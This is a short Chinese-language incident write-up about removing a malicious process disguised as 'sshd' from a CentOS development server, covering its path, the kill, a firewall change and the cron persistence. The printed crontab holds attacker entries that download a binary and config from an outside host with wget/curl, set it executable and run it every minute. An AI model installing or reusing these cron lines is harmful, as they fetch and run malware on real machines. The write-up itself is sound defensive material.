1. 现象

top 命令, 发现有sshd恶意程序运行, 导致CPU占用100%

2. 排查过程

2.1 找到该恶意程序的绝对路径

ll /proc/{pid}

2.2 kill进程, 删除恶意程序

rm -rf /var/tmp/*
kill -9 {pid}

2.3 加强防火墙

控制访问该linux的来源IP, 因为是开发用的机器, 只要配置公司和家里的外网出口IP即可.

2.4 删除恶意的linux定时任务

头痛, 做完 2.1, 2.2, 2.3 后, 恶意程序过一段时间后, 还是会重新下载到/var/tmp目录, 并运行.
最终, 无意中, 发现有恶意的linux定时任务存在, 删除即可!

[root@vm-16-13-centos tmp]# crontab -l
*/5 * * * * flock -xn /tmp/stargate.lock -c '/usr/local/qcloud/stargate/admin/start.sh > /dev/null 2>&1 &'

0 */6 * * * /usr/bin/flock -n /var/tmp/tmp.lock -c 'cd /var/tmp; wget -nc http://dash.cloudflare.ovh/mvt/sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; curl http://dash.cloudflare.ovh/mvt/sshd -o sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; wget -nc http://dash.cloudflare.ovh/mvt/config.json; cd /var/tmp; curl http://dash.cloudflare.ovh/mvt/config.json -o config.json'
* * * * * /usr/bin/flock -n /var/tmp/vm.lock -c 'cd /var/tmp; ./sshd'


[root@vm-16-13-centos tmp]# cat /etc/crontab 
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

0 */6 * * * root /usr/bin/flock -n /var/tmp/tmp.lock -c 'cd /var/tmp; wget -nc http://dash.cloudflare.ovh/mvt/sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; curl http://dash.cloudflare.ovh/mvt/sshd -o sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; wget -nc http://dash.cloudflare.ovh/mvt/config.json; cd /var/tmp; curl http://dash.cloudflare.ovh/mvt/config.json -o config.json'
* * * * * root /usr/bin/flock -n /var/tmp/vm.lock -c 'cd /var/tmp; ./sshd'

3. 参考

• Linux Crontab 定时任务
• /etc/crontab文件和crontab -e命令区别